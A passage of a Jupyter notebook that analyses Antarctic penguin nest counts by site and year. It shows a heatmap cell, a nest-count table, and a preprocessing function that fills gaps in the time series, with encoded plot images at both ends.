M9IvgAAeEbyBQDAM5IvAACekXwBAPCM5AsA\n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\n4BnJFwAAz/4/tLLpJaKCgV4AAAAASUVORK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1ea162ec4e0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "\n", "# get a sort order for the sites with the most observations\n", "sorted_idx = (pd.notnull(nest_counts)\n", " .sum(axis=1)\n", " .sort_values(ascending=False)\n", " .index)\n", "\n", "# get the top 25 most common sites and divide by the per-series mean\n", "to_plot = nest_counts.loc[sorted_idx].head(25)\n", "to_plot = to_plot.divide(to_plot.mean(axis=1), axis=0)\n", "\n", "# plot the data\n", "plt.gca().matshow(to_plot,\n", " cmap='viridis')\n", "plt.show()\n" ] }, { "cell_type": "code", "execution_count": 12, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th></th>\n", " <th>1980</th>\n", " <th>1981</th>\n", " <th>1982</th>\n", " <th>1983</th>\n", " <th>1984</th>\n", " <th>1985</th>\n", " <th>1986</th>\n", " <th>1987</th>\n", " <th>1988</th>\n", " <th>1989</th>\n", " <th>...</th>\n", " <th>2004</th>\n", " <th>2005</th>\n", " <th>2006</th>\n", " <th>2007</th>\n", " <th>2008</th>\n", " <th>2009</th>\n", " <th>2010</th>\n", " <th>2011</th>\n", " <th>2012</th>\n", " <th>2013</th>\n", " </tr>\n", " <tr>\n", " <th>site_id</th>\n", " <th>common_name</th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th rowspan=\"2\" valign=\"top\">ACUN</th>\n", " <th>adelie penguin</th>\n", " <td>2008.0</td>\n", " <td>2008.0</td>\n", " <td>2008.0</td>\n", " <td>2008.0</td>\n", " <td>2008.0</td>\n", " <td>2008.0</td>\n", " <td>2008.0</td>\n", " <td>2008.0</td>\n", " <td>2008.0</td>\n", " <td>2008.0</td>\n", " <td>...</td>\n", " <td>1880.0</td>\n", " <td>1880.0</td>\n", " <td>1880.0</td>\n", " <td>1880.0</td>\n", " <td>1880.0</td>\n", " <td>1880.0</td>\n", " <td>3079.0</td>\n", " <td>3079.0</td>\n", " <td>3079.0</td>\n", " <td>3079.0</td>\n", " </tr>\n", " <tr>\n", " <th>chinstrap penguin</th>\n", " <td>4000.0</td>\n", " <td>4000.0</td>\n", " <td>4000.0</td>\n", " <td>4000.0</td>\n", " <td>4000.0</td>\n", " <td>4000.0</td>\n", " <td>4000.0</td>\n", " <td>4000.0</td>\n", " <td>4000.0</td>\n", " <td>4000.0</td>\n", " <td>...</td>\n", " <td>4000.0</td>\n", " <td>4000.0</td>\n", " <td>4000.0</td>\n", " <td>4000.0</td>\n", " <td>4000.0</td>\n", " <td>4000.0</td>\n", " <td>4000.0</td>\n", " <td>4000.0</td>\n", " <td>4000.0</td>\n", " <td>4000.0</td>\n", " </tr>\n", " <tr>\n", " <th>ADAM</th>\n", " <th>adelie penguin</th>\n", " <td>76.0</td>\n", " <td>76.0</td>\n", " <td>76.0</td>\n", " <td>76.0</td>\n", " <td>76.0</td>\n", " <td>76.0</td>\n", " <td>76.0</td>\n", " <td>76.0</td>\n", " <td>76.0</td>\n", " <td>76.0</td>\n", " <td>...</td>\n", " <td>76.0</td>\n", " <td>76.0</td>\n", " <td>76.0</td>\n", " <td>76.0</td>\n", " <td>76.0</td>\n", " <td>76.0</td>\n", " <td>76.0</td>\n", " <td>76.0</td>\n", " <td>76.0</td>\n", " <td>76.0</td>\n", " </tr>\n", " <tr>\n", " <th>ADAR</th>\n", " <th>adelie penguin</th>\n", " <td>256806.0</td>\n", " <td>256806.0</td>\n", " <td>256806.0</td>\n", " <td>256806.0</td>\n", " <td>256806.0</td>\n", " <td>256806.0</td>\n", " <td>282307.0</td>\n", " <td>282307.0</td>\n", " <td>272338.0</td>\n", " <td>272338.0</td>\n", " <td>...</td>\n", " <td>338777.0</td>\n", " <td>338777.0</td>\n", " <td>338777.0</td>\n", " <td>338777.0</td>\n", " <td>338777.0</td>\n", " <td>338777.0</td>\n", " <td>338231.0</td>\n", " <td>338231.0</td>\n", " <td>338231.0</td>\n", " <td>428516.0</td>\n", " </tr>\n", " <tr>\n", " <th>AILS</th>\n", " <th>chinstrap penguin</th>\n", " <td>6000.0</td>\n", " <td>6000.0</td>\n", " <td>6000.0</td>\n", " <td>6000.0</td>\n", " <td>6000.0</td>\n", " <td>6000.0</td>\n", " <td>6000.0</td>\n", " <td>6000.0</td>\n", " <td>6000.0</td>\n", " <td>6000.0</td>\n", " <td>...</td>\n", " <td>6000.0</td>\n", " <td>6000.0</td>\n", " <td>6000.0</td>\n", " <td>6000.0</td>\n", " <td>6000.0</td>\n", " <td>6000.0</td>\n", " <td>6000.0</td>\n", " <td>6000.0</td>\n", " <td>6000.0</td>\n", " <td>6000.0</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "<p>5 rows × 34 columns</p>\n", "</div>" ], "text/plain": [ " 1980 1981 1982 1983 1984 \\\n", "site_id common_name \n", "ACUN adelie penguin 2008.0 2008.0 2008.0 2008.0 2008.0 \n", " chinstrap penguin 4000.0 4000.0 4000.0 4000.0 4000.0 \n", "ADAM adelie penguin 76.0 76.0 76.0 76.0 76.0 \n", "ADAR adelie penguin 256806.0 256806.0 256806.0 256806.0 256806.0 \n", "AILS chinstrap penguin 6000.0 6000.0 6000.0 6000.0 6000.0 \n", "\n", " 1985 1986 1987 1988 1989 \\\n", "site_id common_name \n", "ACUN adelie penguin 2008.0 2008.0 2008.0 2008.0 2008.0 \n", " chinstrap penguin 4000.0 4000.0 4000.0 4000.0 4000.0 \n", "ADAM adelie penguin 76.0 76.0 76.0 76.0 76.0 \n", "ADAR adelie penguin 256806.0 282307.0 282307.0 272338.0 272338.0 \n", "AILS chinstrap penguin 6000.0 6000.0 6000.0 6000.0 6000.0 \n", "\n", " ... 2004 2005 2006 2007 \\\n", "site_id common_name ... \n", "ACUN adelie penguin ... 1880.0 1880.0 1880.0 1880.0 \n", " chinstrap penguin ... 4000.0 4000.0 4000.0 4000.0 \n", "ADAM adelie penguin ... 76.0 76.0 76.0 76.0 \n", "ADAR adelie penguin ... 338777.0 338777.0 338777.0 338777.0 \n", "AILS chinstrap penguin ... 6000.0 6000.0 6000.0 6000.0 \n", "\n", " 2008 2009 2010 2011 2012 \\\n", "site_id common_name \n", "ACUN adelie penguin 1880.0 1880.0 3079.0 3079.0 3079.0 \n", " chinstrap penguin 4000.0 4000.0 4000.0 4000.0 4000.0 \n", "ADAM adelie penguin 76.0 76.0 76.0 76.0 76.0 \n", "ADAR adelie penguin 338777.0 338777.0 338231.0 338231.0 338231.0 \n", "AILS chinstrap penguin 6000.0 6000.0 6000.0 6000.0 6000.0 \n", "\n", " 2013 \n", "site_id common_name \n", "ACUN adelie penguin 3079.0 \n", " chinstrap penguin 4000.0 \n", "ADAM adelie penguin 76.0 \n", "ADAR adelie penguin 428516.0 \n", "AILS chinstrap penguin 6000.0 \n", "\n", "[5 rows x 34 columns]" ] }, "execution_count": 12, "metadata": {}, "output_type": "execute_result" } ], "source": [ "def preprocess_timeseries(timeseries, first_year, fillna_value=0):\n", " \"\"\" Takes one of the timeseries dataframes, removes\n", " columns before `first_year`, and fills NaN values\n", " with the preceeding value. Then backfills any\n", " remaining NaNs.\n", " \n", " As a courtesy, also turns year column name into\n", " integers for easy comparisons.\n", " \"\"\"\n", " # column type\n", " timeseries.columns = timeseries.columns.astype(int)\n", " \n", " # subset to just data after first_year\n", " timeseries = timeseries.loc[:, timeseries.columns >= first_year]\n", " \n", " # Forward fill count values. This is a strong assumption.\n", " timeseries.fillna(method=\"ffill\", axis=1, inplace=True)\n", " timeseries.fillna(method=\"bfill\", axis=1, inplace=True)\n", " \n", " # For sites with no observations, fill with fill_na_value\n", " timeseries.fillna(fillna_value, inplace=True)\n", " \n", " return timeseries\n", "\n", "nest_counts = preprocess_timeseries(nest_counts,\n", " 1980,\n", " fillna_value=0.0)\n", "nest_counts.head()" ] }, { "cell_type": "code", "execution_count": 13, "metadata": { "collapsed": false }, "outputs": [ { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAcIAAAFRCAYAAADn6q2oAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAH5RJREFUeJzt3X2UVPWd5/FPPfZD0UDzqAGkedBR8GkUz7A7E3Qm4DRr\nNkYn7jEeREKv0Ux2DgFUwIYA8hjWdc9ZgjMak7jCjpzddc7ROWdQBxXJGM7KuGNHwIeYaFwbJCBC\nP3c93f2Ds8hS91bzra4Hun/v119wf7+6v9+te6s+dbvu/VbI8zxPAAA4KlzpCQAAUEkEIQDAaQQh\nAMBpBCEAwGkEIQDAaQQhAMBp0UoM6nme1qxZo/fff1/xeFwbNmzQhAkTKjGVsrv99ts1ZMgQSdL4\n8eO1cePGCs+odFpaWvToo49q+/bt+uSTT7R8+XKFw2FdeumlWr16daWnVxJnb/O7776r++67Tw0N\nDZKkb3/725o7d25lJ1hk6XRaDz/8sFpbW5VKpXT//fdr6tSpg3pf+23zxRdfPOj3dTab1cqVK/XR\nRx8pHA5r7dq1isfjg2JfVyQId+/erWQyqZ07d6qlpUWbNm3S448/XomplFUymZQkPfPMMxWeSek9\n9dRTev7555VIJCRJmzZt0pIlSzRjxgytXr1au3fv1uzZsys8y+I6d5sPHDighQsXasGCBZWdWAm9\n8MILqq+v15YtW9TW1qZbb71Vl19++aDe12dv86lTp/TNb35T3//+9wf9vn711VcVCoX07LPP6s03\n39Rjjz0mz/MGxb6uyJ9G33rrLX31q1+VJF1zzTU6cOBAJaZRdu+99566urrU1NSkBQsWqKWlpdJT\nKpmJEydq27ZtZ/5/8OBBzZgxQ5I0a9Ys7du3r1JTKxm/bd6zZ4/mzZun5uZmdXV1VXB2pTF37lwt\nWrRIkpTJZBSJRHTo0KFBva/P3uZsNqtoNKqDBw/qtddeG9T7evbs2Vq3bp0k6fDhwxo2bNig2dcV\nCcKOjg7V1dWd+X80GlU2m63EVMqqurpaTU1N+ulPf6o1a9bogQceGLTbPWfOHEUikTP/P7uAUSKR\nUHt7eyWmVVLnbvM111yjhx56SDt27NCECRO0devWCs6uNGpqalRbW6uOjg4tWrRIixcvHvT7+txt\n/sEPfqCrr75ay5YtG9T7WpLC4bCWL1+u9evX6+tf//qg2dcVCcIhQ4aos7PzzP+z2azC4cF/3U5D\n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